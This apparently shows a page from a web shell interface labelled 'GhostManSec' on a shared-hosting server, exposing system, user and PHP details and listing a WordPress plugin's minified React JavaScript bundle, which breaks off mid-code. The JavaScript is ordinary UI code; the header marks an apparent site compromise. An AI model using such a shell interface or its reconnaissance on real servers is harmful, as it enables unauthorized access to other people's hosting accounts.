GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/anqa.it/wp-content/plugins/festingervault/build/assets/DUjAZQ04.431dca.js
import{c as we,j as c,b as P,r,d as io,L as lo,q as uo,s as fo,B as ne,t as po,v as mo,w as vo,_ as O,x as ho,F as go,H as It,aJ as xo,af as Yt,aK as bo,aL as wo,aM as Co,aN as yo,aO as he,aP as Eo,aQ as Ro,aR as $o,aS as No,aT as Mo,aU as So,ag as pt,ax as qt,ay as Zt,aB as Po,a4 as _o,aC as Qt,aD as Jt,aA as Do,aV as Io,i as Be,ad as Ue,ae as mt,a5 as re,P as Z,a7 as S,a8 as Ce,ai as en,S as vt,ah as tn,aj as nn,ak as rn,al as on,an,a6 as ht,aq as sn,am as Fe,as as cn,at as jo,a3 as ln,ac as un,ap as dn,k as gt,aW as fn,aX as ko,Z as pn,aY as Ao,aZ as Oo,aw as To,a_ as Fo,a$ as Lo,M as Ko}from"./0rvbeSEg.431dca.js";/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const Bo=we("CloudDownload",[["path",{d:"M4 14.899A7 7 0 1 1 15.71 8h1.79a4.5 4.5 0 0 1 2.5 8.242",key:"1pljnt"}],["path",{d:"M12 12v9",key:"192myk"}],["path",{d:"m8 17 4 4 4-4",key:"1ul180"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const Uo=we("Languages",[["path",{d:"m5 8 6 6",key:"1wu5hv"}],["path",{d:"m4 14 6-6 2-3",key:"1k1g8d"}],["path",{d:"M2 5h12",key:"or177f"}],["path",{d:"M7 2h1",key:"1t2jsx"}],["path",{d:"m22 22-5-10-5 10",key:"don7ne"}],["path",{d:"M14 18h6",key:"1m8k6r"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const Go=we("Moon",[["path",{d:"M12 3a6 6 0 0 0 9 9 9 9 0 1 1-9-9Z",key:"a7tn18"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const Vo=we("ShoppingBag",[["path",{d:"M6 2 3 6v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V6l-3-4Z",key:"hou9p0"}],["path",{d:"M3 6h18",key:"d0wm0j"}],["path",{d:"M16 10a4 4 0 0 1-8 0",key:"1ltviw"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const zo=we("Sun",[["circle",{cx:"12",cy:"12",r:"4",key:"4exip2"}],["path",{d:"M12 2v2",key:"tus03m"}],["path",{d:"M12 20v2",key:"1lh1kg"}],["path",{d:"m4.93 4.93 1.41 1.41",key:"149t6j"}],["path",{d:"m17.66 17.66 1.41 1.41",key:"ptbguv"}],["path",{d:"M2 12h2",key:"1t8f8n"}],["path",{d:"M20 12h2",key:"1q8mjw"}],["path",{d:"m6.34 17.66-1.41 1.41",key:"1m8zz5"}],["path",{d:"m19.07 4.93-1.41 1.41",key:"1shlcs"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const Ho=we("X",[["path",{d:"M18 6 6 18",key:"1bl5f8"}],["path",{d:"m6 6 12 12",key:"d8bk6v"}]]);function jt({className:e,...n}){return c.jsx("div",{className:P("animate-pulse rounded-md bg-primary/10",e),...n})}const Wo=io("relative w-full rounded-lg border px-4 py-3 text-sm [&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-foreground [&>svg~*]:pl-7",{variants:{variant:{default:"bg-background text-foreground",destructive:"border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive"}},defaultVariants:{variant:"default"}}),mn=r.forwardRef(({className:e,variant:n,...t},o)=>c.jsx("div",{ref:o,role:"alert",className:P(Wo({variant:n}),e),...t}));mn.displayName="Alert";const Xo=r.forwardRef(({className:e,...n},t)=>c.jsx("h5",{ref:t,className:P("mb-1 font-medium leading-none tracking-tight",e),...n}));Xo.displayName="AlertTitle";const Yo=r.forwardRef(({className:e,...n},t)=>c.jsx("div",{ref:t,className:P("text-sm [&_p]:leading-relaxed",e),...n}));Yo.displayName="AlertDescription";function qo(){const{items:e,removeItem:n,install:t,download:o}=lo();return c.jsxs(uo,{children:[c.jsx(fo,{asChild:!0,children:c.jsxs(ne,{variant:"outline",size:e&&e.length>0?"default":"icon",className:"gap-2",children:[c.jsx(Vo,{size:16}),e.length>0&&c.jsx("span",{children:e.length})]})}),c.jsxs(po,{children:[c.jsxs(mo,{children:[c.jsx(vo,{children:O("Bulk Cart")}),c.jsx(ho,{children:O("Your items")})]}),c.jsx("div",{className:"my-4 flex flex-col gap-4",children:e.length>0?e.map(a=>c.jsxs("div",{className:"flex flex-row gap-2",children:[c.jsx("div",{className:"h-14 w-14",children:c.jsx("img",{src:a.image,className:" aspect-square h-14 w-14 object-contain"})}),c.jsxs("div",{className:"flex flex-1 flex-col gap-1 text-sm",children:[c.jsx("h3",{children:wp.htmlEntities.decodeEntities(a.title)}),c.jsx("div",{className:"text-xs text-muted-foreground",children:wp.i18n.sprintf(O("Version: %s"),a.version)})]}),c.jsx("div",{children:c.jsx(ne,{variant:"destructive",size:"iconSmall",onClick:()=>{n(a.id)},children:c.jsx(Ho,{size:16})})})]},a.id)):c.jsx(mn,{className:"text-muted-foreground",children:O("No items found in bulk cart")})}),c.jsxs(go,{children:[c.jsx(It,{asChild:!0,children:c.jsx(ne,{disabled:e.length===0,onClick:t,children:O("Install")})}),c.jsx(It,{asChild:!0,children:c.jsx(ne,{disabled:e.length===0,onClick:o,children:"Download"})})]})]})]})}var kt=1,Zo=.9,Qo=.8,Jo=.17,Ye=.1,qe=.999,ea=.9999,ta=.99,na=/[\\\/_+.#"@\[\(\{&]/,ra=/[\\\/_+.#"@\[\(\{&]/g,oa=/[\s-]/,vn=/[\s-]/g;function ot(e,n,t,o,a,s,l){if(s===n.length)return a===e.length?kt:ta;var i=`${a},${s}`;if(l[i]!==void 0)return l[i];for(var f=o.charAt(s),d=t.indexOf(f,a),p=0,u,v,g,x;d>=0;)u=ot(e,n,t,o,d+1,s+1,l),u>p&&(d===a?u*=kt:na.test(e.charAt(d-1))?(u*=Qo,g=e.slice(a,d-1).match(ra),g&&a>0&&(u*=Math.pow(qe,g.length))):oa.test(e.charAt(d-1))?(u*=Zo,x=e.slice(a,d-1).match(vn),x&&a>0&&(u*=Math.pow(qe,x.length))):(u*=Jo,a>0&&(u*=Math.pow(qe,d-a))),e.charAt(d)!==n.charAt(s)&&(u*=ea)),(u<Ye&&t.charAt(d-1)===o.charAt(s+1)||o.charAt(s+1)===o.charAt(s)&&t.charAt(d-1)!==o.charAt(s))&&(v=ot(e,n,t,o,d+1,s+2,l),v*Ye>u&&(u=v*Ye)),u>p&&(p=u),d=t.indexOf(f,d+1);return l[i]=p,p}function At(e){return e.toLowerCase().replace(vn," ")}function aa(e,n,t){return e=t&&t.length>0?`${e+" "+t.join(" ")}`:e,ot(e,n,At(e),At(n),0,0,{})}function B(){return B=Object.assign?Object.assign.bind():function(e){for(var n=1;n<arguments.length;n++){var t=arguments[n];for(var o in t)({}).hasOwnProperty.call(t,o)&&(e[o]=t[o])}return e},B.apply(null,arguments)}function xe(e,n,{checkForDefaultPrevented:t=!0}={}){return function(a){if(e==null||e(a),t===!1||!a.defaultPrevented)return n==null?void 0:n(a)}}function sa(e,n){typeof e=="function"?e(n):e!=null&&(e.current=n)}function hn(...e){return n=>e.forEach(t=>sa(t,n))}function Pe(...e){return r.useCallback(hn(...e),e)}function ca(e,n=[]){let t=[];function o(s,l){const i=r.createContext(l),f=t.length;t=[...t,l];function d(u){const{scope:v,children:g,...x}=u,h=(v==null?void 0:v[e][f])||i,b=r.useMemo(()=>x,Object.values(x));return r.createElement(h.Provider,{value:b},g)}function p(u,v){const g=(v==null?void 0:v[e][f])||i,x=r.useContext(g);if(x)return x;if(l!==void 0)return l;throw new Error(`\`${u}\` must be used within \`${s}\``)}return d.displayName=s+"Provider",[d,p]}const a=()=>{const s=t.map(l=>r.createContext(l));return function(i){const f=(i==null?void 0:i[e])||s;return r.useMemo(()=>({[`__scope${e}`]:{...i,[e]:f}}),[i,f])}};return a.scopeName=e,[o,ia(a,...n)]}function ia(...e){const n=e[0];if(e.length===1)return n;const t=()=>{const o=e.map(a=>({useScope:a(),scopeName:a.scopeName}));return function(s){const l=o.reduce((i,{useScope:f,scopeName:d})=>{const u=f(s)[`__scope${d}`];return{...i,...u}},{});return r.useMemo(()=>({[`__scope${n.scopeName}`]:l}),[l])}};return t.scopeName=n.scopeName,t}const at=globalThis!=null&&globalThis.document?r.useLayoutEffect:()=>{},la=xo.useId||(()=>{});let ua=0;function Ze(e){const[n,t]=r.useState(la());return at(()=>{e||t(o=>o??String(ua++))},[e]),e||(n?`radix-${n}`:"")}function ie(e){const n=r.useRef(e);return r.useEffect(()=>{n.current=e}),r.useMemo(()=>(...t)=>{var o;return(o=n.current)===null||o===void 0?void 0:o.call(n,...t)},[])}function da({prop:e,defaultProp:n,onChange:t=()=>{}}){const[o,a]=fa({defaultProp:n,onChange:t}),s=e!==void 0,l=s?e:o,i=ie(t),f=r.useCallback(d=>{if(s){const u=typeof d=="function"?d(e):d;u!==e&&i(u)}else a(d)},[s,e,a,i]);return[l,f]}function fa({defaultProp:e,onChange:n}){const t=r.useState(e),[o]=t,a=r.useRef(o),s=ie(n);return r.useEffect(()=>{a.current!==o&&(s(o),a.current=o)},[o,a,s]),t}const xt=r.forwardRef((e,n)=>{const{children:t,...o}=e,a=r.Children.toArray(t),s=a.find(ma);if(s){const l=s.props.children,i=a.map(f=>f===s?r.Children.count(l)>1?r.Children.only(null):r.isValidElement(l)?l.props.children:null:f);return r.createElement(st,B({},o,{ref:n}),r.isValidElement(l)?r.cloneElement(l,void 0,i):null)}return r.createElement(st,B({},o,{ref:n}),t)});xt.displayName="Slot";const st=r.forwardRef((e,n)=>{const{children:t,...o}=e;return r.isValidElement(t)?r.cloneElement(t,{...va(o,t.props),ref:n?hn(n,t.ref):t.ref}):r.Children.count(t)>1?r.Children.only(null):null});st.displayName="SlotClone";const pa=({children:e})=>r.createElement(r.Fragment,null,e);function ma(e){return r.isValidElement(e)&&e.type===pa}function va(e,n){const t={...n};for(const o in n){const a=e[o],s=n[o];/^on[A-Z]/.test(o)?a&&s?t[o]=(...i)=>{s(...i),a(...i)}:a&&(t[o]=a):o==="style"?t[o]={...a,...s}:o==="className"&&(t[o]=[a,s].filter(Boolean).join(" "))}return{...e,...t}}const ha=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","span","svg","ul"],Y=ha.reduce((e,n)=>{const t=r.forwardRef((o,a)=>{const{asChild:s,...l}=o,i=s?xt:n;return r.useEffect(()=>{window[Symbol.for("radix-ui")]=!0},[]),r.createElement(i,B({},l,{ref:a}))});return t.displayName=`Primitive.${n}`,{...e,[n]:t}},{});function ga(e,n){e&&Yt.flushSync(()=>e.dispatchEvent(n))}function xa(e,n=globalThis==null?void 0:globalThis.document){const t=ie(e);r.useEffect(()=>{const o=a=>{a.key==="Escape"&&t(a)};return n.addEventListener("keydown",o),()=>n.removeEventListener("keydown",o)},[t,n])}const ct="dismissableLayer.update",ba="dismissableLayer.pointerDownOutside",wa="dismissableLayer.focusOutside";let Ot;const Ca=r.createContext({layers:new Set,layersWithOutsidePointerEventsDisabled:new Set,branches:new Set}),ya=r.forwardRef((e,n)=>{var t;const{disableOutsidePointerEvents:o=!1,onEscapeKeyDown:a,onPointerDownOutside:s,onFocusOutside:l,onInteractOutside:i,onDismiss:f,...d}=e,p=r.useContext(Ca),[u,v]=r.useState(null),g=(t=u==null?void 0:u.ownerDocument)!==null&&t!==void 0?t:globalThis==null?void 0:globalThis.document,[,x]=r.useState({}),h=Pe(n,E=>v(E)),b=Array.from(p.layers),[C]=[...p.layersWithOutsidePointerEventsDisabled].slice(-1),N=b.indexOf(C),M=u?b.indexOf(u):-1,I=p.layersWithOutsidePointerEventsDisabled.size>0,_=M>=N,j=Ea(E=>{const T=E.target,G=[...p.branches].some(z=>z.contains(T));!_||G||(s==null||s(E),i==null||i(E),E.defaultPrevented||f==null||f())},g),k=Ra(E=>{const T=E.target;[...p.branches].some(z=>z.contains(T))||(l==null||l(E),i==null||i(E),E.defaultPrevented||f==null||f())},g);return xa(E=>{M===p.layers.size-1&&(a==null||a(E),!E.defaultPrevented&&f&&(E.preventDefault(),f()))},g),r.useEffect(()=>{if(u)return o&&(p.layersWithOutsidePointerEventsDisabled.size===0&&(Ot=g.body.style.pointerEvents,g.body.style.pointerEvents="none"),p.layersWithOutsidePointerEventsDisabled.add(u)),p.layers.add(u),Tt(),()=>{o&&p.layersWithOutsidePointerEventsDisabled.size===1&&(g.body.style.pointerEvents=Ot)}},[u,g,o,p]),r.useEffect(()=>()=>{u&&(p.layers.delete(u),p.layersWithOutsidePointerEventsDisabled.delete(u),Tt())},[u,p]),r.useEffect(()=>{const E=()=>x({});return document.addEventListener(ct,E),()=>document.removeEventListener(ct,E)},[]),r.createElement(Y.div,B({},d,{ref:h,style:{pointerEvents:I?_?"auto":"none":void 0,...e.style},onFocusCapture:xe(e.onFocusCapture,k.onFocusCapture),onBlurCapture:xe(e.onBlurCapture,k.onBlurCapture),onPointerDownCapture:xe(e.onPointerDownCapture,j.onPointerDownCapture)}))});function Ea(e,n=globalThis==null?void 0:globalThis.document){const t=ie(e),o=r.useRef(!1),a=r.useRef(()=>{});return r.useEffect(()=>{const s=i=>{if(i.target&&!o.current){let d=function(){gn(ba,t,f,{discrete:!0})};const f={originalEvent:i};i.pointerType==="touch"?(n.removeEventListener("click",a.current),a.current=d,n.addEventListener("click",a.current,{once:!0})):d()}else n.removeEventListener("click",a.current);o.current=!1},l=window.setTimeout(()=>{n.addEventListener("pointerdown",s)},0);return()=>{window.clearTimeout(l),n.removeEventListener("pointerdown",s),n.removeEventListener("click",a.current)}},[n,t]),{onPointerDownCapture:()=>o.current=!0}}function Ra(e,n=globalThis==null?void 0:globalThis.document){const t=ie(e),o=r.useRef(!1);return r.useEffect(()=>{const a=s=>{s.target&&!o.current&&gn(wa,t,{originalEvent:s},{discrete:!1})};return n.addEventListener("focusin",a),()=>n.removeEventListener("focusin",a)},[n,t]),{onFocusCapture:()=>o.current=!0,onBlurCapture:()=>o.current=!1}}function Tt(){const e=new CustomEvent(ct);document.dispatchEvent(e)}function gn(e,n,t,{discrete:o}){const a=t.originalEvent.target,s=new CustomEvent(e,{bubbles:!1,cancelable:!0,detail:t});n&&a.addEventListener(e,n,{once:!0}),o?ga(a,s):a.dispatchEvent(s)}const Qe="focusScope.autoFocusOnMount",Je="focusScope.autoFocusOnUnmount",Ft={bubbles:!1,cancelable:!0},$a=r.forwardRef((e,n)=>{const{loop:t=!1,trapped:o=!1,onMountAutoFocus:a,onUnmountAutoFocus:s,...l}=e,[i,f]=r.useState(null),d=ie(a),p=ie(s),u=r.useRef(null),v=Pe(n,h=>f(h)),g=r.useRef({paused:!1,pause(){this.paused=!0},resume(){this.paused=!1}}).current;r.useEffect(()=>{if(o){let h=function(M){if(g.paused||!i)return;const I=M.target;i.contains(I)?u.current=I:te(u.current,{select:!0})},b=function(M){if(g.paused||!i)return;const I=M.relatedTarget;I!==null&&(i.contains(I)||te(u.current,{select:!0}))},C=function(M){if(document.activeElement===document.body)for(const _ of M)_.removedNodes.length>0&&te(i)};document.addEventListener("focusin",h),document.addEventListener("focusout",b);const N=new MutationObserver(C);return i&&N.observe(i,{childList:!0,subtree:!0}),()=>{document.removeEventListener("focusin",h),document.removeEventListener("focusout",b),N.disconnect()}}},[o,i,g.paused]),r.useEffect(()=>{if(i){Kt.add(g);const h=document.activeElement;if(!i.contains(h)){const C=new CustomEvent(Qe,Ft);i.addEventListener(Qe,d),i.dispatchEvent(C),C.defaultPrevented||(Na(Da(xn(i)),{select:!0}),document.activeElement===h&&te(i))}return()=>{i.removeEventListener(Qe,d),setTimeout(()=>{const C=new CustomEvent(Je,Ft);i.addEventListener(Je,p),i.dispatchEvent(C),C.defaultPrevented||te(h??document.body,{select:!0}),i.removeEventListener(Je,p),Kt.remove(g)},0)}}},[i,d,p,g]);const x=r.useCallback(h=>{if(!t&&!o||g.paused)return;const b=h.key==="Tab"&&!h.altKey&&!h.ctrlKey&&!h.metaKey,C=document.activeElement;if(b&&C){const N=h.currentTarget,[M,I]=Ma(N);M&&I?!h.shiftKey&&C===I?(h.preventDefault(),t&&te(M,{select:!0})):h.shiftKey&&C===M&&(h.preventDefault(),t&&te(I,{select:!0})):C===N&&h.preventDefault()}},[t,o,g.paused]);return r.createElement(Y.div,B({tabIndex:-1},l,{ref:v,onKeyDown:x}))});function Na(e,{select:n=!1}={}){const t=document.activeElement;for(const o of e)if(te(o,{select:n}),document.activeElement!==t)return}function Ma(e){const n=xn(e),t=Lt(n,e),o=Lt(n.reverse(),e);return[t,o]}function xn(e){const n=[],t=document.createTreeWalker(e,NodeFilter.SHOW_ELEMENT,{acceptNode:o=>{const a=o.tagName==="INPUT"&&o.type==="hidden";return o.disabled||o.hidden||a?NodeFilter.FILTER_SKIP:o.tabIndex>=0?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}});for(;t.nextNode();)n.push(t.currentNode);return n}function Lt(e,n){for(const t of e)if(!Sa(t,{upTo:n}))return t}function Sa(e,{upTo:n}){if(getComputedStyle(e).visibility==="hidden")return!0;for(;e;){if(n!==void 0&&e===n)return!1;if(getComputedStyle(e).display==="none")return!0;e=e.parentElement}return!1}function Pa(e){return e instanceof HTMLInputElement&&"select"in e}function te(e,{select:n=!1}={}){if(e&&e.focus){const t=document.activeElement;e.focus({preventScroll:!0}),e!==t&&Pa(e)&&n&&e.select()}}const Kt=_a();function _a(){let e=[];return{add(n){const t=e[0];n!==t&&(t==null||t.pause()),e=Bt(e,n),e.unshift(n)},remove(n){var t;e=Bt(e,n),(t=e[0])===null||t===void 0||t.resume()}}}function Bt(e,n){const t=[...e],o=t.indexOf(n);return o!==-1&&t.splice(o,1),t}function Da(e){return e.filter(n=>n.tagName!=="A")}const Ia=r.forwardRef((e,n)=>{var t;const{container:o=globalThis==null||(t=globalThis.document)===null||t===void 0?void 0:t.body,...a}=e;return o?bo.createPortal(r.createElement(Y.div,B({},a,{ref:n})),o):null});function ja(e,n){return r.useReducer((t,o)=>{const a=n[t][o];return a??t},e)}const Ge=e=>{const{present:n,children:t}=e,o=ka(n),a=typeof t=="function"?t({present:o.isPresent}):r.Children.only(t),s=Pe(o.ref,a.ref);return typeof t=="function"||o.isPresent?r.cloneElement(a,{ref:s}):null};Ge.displayName="Presence";function ka(e){const[n,t]=r.useState(),o=r.useRef({}),a=r.useRef(e),s=r.useRef("none"),l=e?"mounted":"unmounted",[i,f]=ja(l,{mounted:{UNMOUNT:"unmounted",ANIMATION_OUT:"unmountSuspended"},unmountSuspended:{MOUNT:"mounted",ANIMATION_END:"unmounted"},unmounted:{MOUNT:"mounted"}});return r.useEffect(()=>{const d=ke(o.current);s.current=i==="mounted"?d:"none"},[i]),at(()=>{const d=o.current,p=a.current;if(p!==e){const v=s.current,g=ke(d);e?f("MOUNT"):g==="none"||(d==null?void 0:d.display)==="none"?f("UNMOUNT"):f(p&&v!==g?"ANIMATION_OUT":"UNMOUNT"),a.current=e}},[e,f]),at(()=>{if(n){const d=u=>{const g=ke(o.current).includes(u.animationName);u.target===n&&g&&Yt.flushSync(()=>f("ANIMATION_END"))},p=u=>{u.target===n&&(s.current=ke(o.current))};return n.addEventListener("animationstart",p),n.addEventListener("animationcancel",d),n.addEventListener("animationend",d),()=>{n.removeEventListener("animationstart",p),n.removeEventListener("animationcancel",d),n.removeEventListener("animationend",d)}}else f("ANIMATION_END")},[n,f]),{isPresent:["mounted","unmountSuspended"].includes(i),ref:r.useCallback(d=>{d&&(o.current=getComputedStyle(d)),t(d)},[])}}function ke(e){return(e==null?void 0:e.animationName)||"none"}let et=0;function Aa(){r.useEffect(()=>{var e,n;const t=document.querySelectorAll("[data-radix-focus-guard]");return document.body.insertAdjacentElement("afterbegin",(e=t[0])!==null&&e!==void 0?e:Ut()),document.body.insertAdjacentElement("beforeend",(n=t[1])!==null&&n!==void 0?n:Ut()),et++,()=>{et===1&&document.querySelectorAll("[data-radix-focus-guard]").forEach(o=>o.remove()),et--}},[])}function Ut(){const e=document.createElement("span");return e.setAttribute("data-radix-focus-guard",""),e.tabIndex=0,e.style.cssText="outline: none; opacity: 0; position: fixed; pointer-events: none",e}var bn=wo(),tt=function(){},Ve=r.forwardRef(function(e,n){var t=r.useRef(null),o=r.useState({onScrollCapture:tt,onWheelCapture:tt,onTouchMoveCapture:tt}),a=o[0],s=o[1],l=e.forwardProps,i=e.children,f=e.className,d=e.removeScrollBar,p=e.enabled,u=e.shards,v=e.sideCar,g=e.noIsolation,x=e.inert,h=e.allowPinchZoom,b=e.as,C=b===void 0?"div":b,N=Co(e,["forwardProps","children","className","removeScrollBar","enabled","shards","sideCar","noIsolation","inert","allowPinchZoom","as"]),M=v,I=yo([t,n]),_=he(he({},N),a);return r.createElement(r.Fragment,null,p&&r.createElement(M,{sideCar:bn,removeScrollBar:d,shards:u,noIsolation:g,inert:x,setCallbacks:s,allowPinchZoom:!!h,lockRef:t}),l?r.cloneElement(r.Children.only(i),he(he({},_),{ref:I})):r.createElement(C,he({},_,{className:f,ref:I}),i))});Ve.defaultProps={enabled:!0,removeScrollBar:!0,inert:!1};Ve.classNames={fullWidth:Eo,zeroRight:Ro};var it=!1;if(typeof window<"u")try{var Ae=Object.defineProperty({},"passive",{get:function(){return it=!0,!0}});window.addEventListener("test",Ae,Ae),window.removeEventListener("test",Ae,Ae)}catch{it=!1}var me=it?{passive:!1}:!1,Oa=function(e){return e.tagName==="TEXTAREA"},wn=function(e,n){var t=window.getComputedStyle(e);return t[n]!=="hidden"&&!(t.overflowY===t.overflowX&&!Oa(e)&&t[n]==="visible")},Ta=function(e){return wn(e,"overflowY")},Fa=function(e){return wn(e,"overflowX")},Gt=function(e,n){var t=n;do{typeof ShadowRoot<"u"&&t instanceof ShadowRoot&&(t=t.host);var o=Cn(e,t);if(o){var a=yn(e,t),s=a[1],l=a[2];if(s>l)return!0}t=t.parentNode}while(t&&t!==document.body);return!1},La=function(e){var n=e.scrollTop,t=e.scrollHeight,o=e.clientHeight;return[n,t,o]},Ka=function(e){var n=e.scrollLeft,t=e.scrollWidth,o=e.clientWidth;return[n,t,o]},Cn=function(e,n){return e==="v"?Ta(n):Fa(n)},yn=function(e,n){return e==="v"?La(n):Ka(n)},Ba=function(e,n){return e==="h"&&n==="rtl"?-1:1},Ua=function(e,n,t,o,a){var s=Ba(e,window.getComputedStyle(n).direction),l=s*o,i=t.target,f=n.contains(i),d=!1,p=l>0,u=0,v=0;do{var g=yn(e,i),x=g[0],h=g[1],b=g[2],C=h-b-s*x;(x||C)&&Cn(e,i)&&(u+=C,v+=x),i=i.parentNode}while(!f&&i!==document.body||f&&(n.contains(i)||n===i));return(p&&(u===0||!a)||!p&&(v===0||!a))&&(d=!0),d},Oe=function(e){return"changedTouches"in e?[e.changedTouches[0].clientX,e.changedTouches[0].clientY]:[0,0]},Vt=function(e){return[e.deltaX,e.deltaY]},zt=function(e){return e&&"current"in e?e.current:e},Ga=function(e,n){return e[0]===n[0]&&e[1]===n[1]},Va=function(e){return`
  .block-interactivity-`.concat(e,` {pointer-events: none;}
  .allow-interactivity-`).concat(e,` {pointer-events: all;}
`)},za=0,ve=[];function Ha(e){var n=r.useRef([]),t=r.useRef([0,0]),o=r.useRef(),a=r.useState(za++)[0],s=r.useState(function(){return $o()})[0],l=r.useRef(e);r.useEffect(function(){l.current=e},[e]),r.useEffect(function(){if(e.inert){document.body.classList.add("block-interactivity-".concat(a));var h=No([e.lockRef.current],(e.shards||[]).map(zt),!0).filter(Boolean);return h.forEach(function(b){return b.classList.add("allow-interactivity-".concat(a))}),function(){document.body.classList.remove("block-interactivity-".concat(a)),h.forEach(function(b){return b.classList.remove("allow-interactivity-".concat(a))})}}},[e.inert,e.lockRef.current,e.shards]);var i=r.useCallback(function(h,b){if("touches"in h&&h.touches.length===2)return!l.current.allowPinchZoom;var C=Oe(h),N=t.current,M="deltaX"in h?h.deltaX:N[0]-C[0],I="deltaY"in h?h.deltaY:N[1]-C[1],_,j=h.target,k=Math.abs(M)>Math.abs(I)?"h":"v";if("touches"in h&&k==="h"&&j.type==="range")return!1;var E=Gt(k,j);if(!E)return!0;if(E?_=k:(_=k==="v"?"h":"v",E=Gt(k,j)),!E)return!1;if(!o.current&&"changedTouches"in h&&(M||I)&&(o.current=_),!_)return!0;var T=o.current||_;return Ua(T,b,h,T==="h"?M:I,!0)},[]),f=r.useCallback(function(h){var b=h;if(!(!ve.length||ve[ve.length-1]!==s)){var C="deltaY"in b?Vt(b):Oe(b),N=n.current.filter(function(_){return _.name===b.type&&_.target===b.target&&Ga(_.delta,C)})[0];if(N&&N.should){b.cancelable&&b.preventDefault();return}if(!N){var M=(l.current.shards||[]).map(zt).filter(Boolean).filter(function(_){return _.contains(b.target)}),I=M.length>0?i(b,M[0]):!l.current.noIsolation;I&&b.cancelable&&b.preventDefault()}}},[]),d=r.useCallback(function(h,b,C,N){var M={name:h,delta:b,target:C,should:N};n.current.push(M),setTimeout(function(){n.current=n.current.filter(function(I){return I!==M})},1)},[]),p=r.useCallback(function(h){t.current=Oe(h),o.current=void 0},[]),u=r.useCallback(function(h){d(h.type,Vt(h),h.target,i(h,e.lockRef.current))},[]),v=r.useCallback(function(h){d(h.type,Oe(h),h.target,i(h,e.lockRef.current))},[]);r.useEffect(function(){return ve.push(s),e.setCallbacks({onScrollCapture:u,onWheelCapture:u,onTouchMoveCapture:v}),document.addEventListener("wheel",f,me),document.addEventListener("touchmove",f,me),document.addEventListener("touchstart",p,me),function(){ve=ve.filter(function(h){return h!==s}),document.removeEventListener("wheel",f,me),document.removeEventListener("touchmove",f,me),document.removeEventListener("touchstart",p,me)}},[]);var g=e.removeScrollBar,x=e.inert;return r.createElement(r.Fragment,null,x?r.createElement(s,{styles:Va(a)}):null,g?r.createElement(Mo,{gapMode:"margin"}):null)}const Wa=So(bn,Ha);var En=r.forwardRef(function(e,n){return r.createElement(Ve,he({},e,{ref:n,sideCar:Wa}))});En.classNames=Ve.classNames;const Rn="Dialog",[$n,$i]=ca(Rn),[Xa,de]=$n(Rn),Ya=e=>{const{__scopeDialog:n,children:t,open:o,defaultOpen:a,onOpenChange:s,modal:l=!0}=e,i=r.useRef(null),f=r.useRef(null),[d=!1,p]=da({prop:o,defaultProp:a,onChange:s});return r.createElement(Xa,{scope:n,triggerRef:i,contentRef:f,contentId:Ze(),titleId:Ze(),descriptionId:Ze(),open:d,onOpenChange:p,onOpenToggle:r.useCallback(()=>p(u=>!u),[p]),modal:l},t)},Nn="DialogPortal",[qa,Mn]=$n(Nn,{forceMount:void 0}),Za=e=>{const{__scopeDialog:n,forceMount:t,children:o,container:a}=e,s=de(Nn,n);return r.createElement(qa,{scope:n,forceMount:t},r.Children.map(o,l=>r.createElement(Ge,{present:t||s.open},r.createElement(Ia,{asChild:!0,container:a},l))))},lt="DialogOverlay",Qa=r.forwardRef((e,n)=>{const t=Mn(lt,e.__scopeDialog),{forceMount:o=t.forceMount,...a}=e,s=de(lt,e.__scopeDialog);return s.modal?r.createElement(Ge,{present:o||s.open},r.createElement(Ja,B({},a,{ref:n}))):null}),Ja=r.forwardRef((e,n)=>{const{__scopeDialog:t,...o}=e,a=de(lt,t);return r.createElement(En,{as:xt,allowPinchZoom:!0,shards:[a.contentRef]},r.createElement(Y.div,B({"data-state":Pn(a.open)},o,{ref:n,style:{pointerEvents:"auto",...o.style}})))}),$e="DialogContent",es=r.forwardRef((e,n)=>{const t=Mn($e,e.__scopeDialog),{forceMount:o=t.forceMount,...a}=e,s=de($e,e.__scopeDialog);return r.createElement(Ge,{present:o||s.open},s.modal?r.createElement(ts,B({},a,{ref:n})):r.createElement(ns,B({},a,{ref:n})))}),ts=r.forwardRef((e,n)=>{const t=de($e,e.__scopeDialog),o=r.useRef(null),a=Pe(n,t.contentRef,o);return r.useEffect(()=>{const s=o.current;if(s)return pt(s)},[]),r.createElement(Sn,B({},e,{ref:a,trapFocus:t.open,disableOutsidePointerEvents:!0,onCloseAutoFocus:xe(e.onCloseAutoFocus,s=>{var l;s.preventDefault(),(l=t.triggerRef.current)===null||l===void 0||l.focus()}),onPointerDownOutside:xe(e.onPointerDownOutside,s=>{const l=s.detail.originalEvent,i=l.button===0&&l.ctrlKey===!0;(l.button===2||i)&&s.preventDefault()}),onFocusOutside:xe(e.onFocusOutside,s=>s.preventDefault())}))}),ns=r.forwardRef((e,n)=>{const t=de($e,e.__scopeDialog),o=r.useRef(!1),a=r.useRef(!1);return r.createElement(Sn,B({},e,{ref:n,trapFocus:!1,disableOutsidePointerEvents:!1,onCloseAutoFocus:s=>{var l;if((l=e.onCloseAutoFocus)===null||l===void 0||l.call(e,s),!s.defaultPrevented){var i;o.current||(i=t.triggerRef.current)===null||i===void 0||i.focus(),s.preventDefault()}o.current=!1,a.current=!1},onInteractOutside:s=>{var 